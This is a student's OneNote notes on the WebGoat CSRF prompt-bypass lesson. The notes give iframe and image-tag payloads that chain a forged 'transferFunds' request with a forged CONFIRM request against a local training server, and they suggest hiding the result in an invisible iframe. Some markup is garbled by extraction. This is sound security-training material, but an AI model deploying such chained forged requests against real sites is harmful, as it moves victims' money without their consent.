8/12/21 18:04 OneNote

## **CSRF Prompt Bypass**

Monday, October 30, 2017 10:09 PM

- This CSRF attack will bypass user confirmation prompts
- CSRF is an attack that tricks the victim into loading a page that contains a "forged request" to execute commands with the victim's credentials
- Prompting a user to confirm or cancel the command might sound like a solution, but can be bypassed if the prompt is scriptable
  - o This can also apply to a series of prompts such as a wizard or issuing multiple unrelated forged requests

## Solution

Inspect the page beforehand

http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=4000

```
<qiv iq="message" class="into"></qiv>
▼ <div id="lessonContent":
▼<form accept-charset="UNKNOWN" method="POST" name="form" action="#attack/1471017872/900" enctype> == $0
      <h1>Electronic Transfer Confirmation:</h1>
```

- We see from the source code that the next forged command will need the following URL: attack?Screen=1471017872&menu=900
- From this we see the next forged command will need the following URL: attack?Screen=1471017872&menu=900&transferFunds=CONFIRM
- We can load this malicious request into either an image or an iframe
- The next step is to add the additional forged confirmation request
  - O However, an additional iframe or image with this URL will not be sufficient
  - o The second request must load AFTER the first
- So, add JavaScript to load the 2nd command after the first
  - o For iframes, make the onload attribute of the 1st frame set the src of the 2nd iframe

## <iframe

```
src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=5000"
     id="myFrame" frameborder="1" marginwidth="0"
     marginheight="0" width="800" scrolling=yes height="300"
     onload="document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?
     Screen=1471017872&menu=900&transferFunds=CONFIRM';">
</iframe>
     id="frame2" frameborder="1" marginwidth="0"
     marginheight="0" width="800" scrolling=yes height="300">
</iframe>
```

• In a real attack the results would try to hide the results from the end user

```
E.g. Using | a small or invisible iframe
```

- If using image tags, loading an html page as an image will cause an error
  - O Use the onerror attribute in place of onload

src="http://localhost:8080/WebGoat/attack?Screen=XXX&menu=YYY&transferFunds=5000"

onerror="document.getElementById('image2').src='http://localhost:8080/WebGoat/attack?Screen=XXX&menu=YYY&transferFunds=CONFIRM'"> <img id="image2" >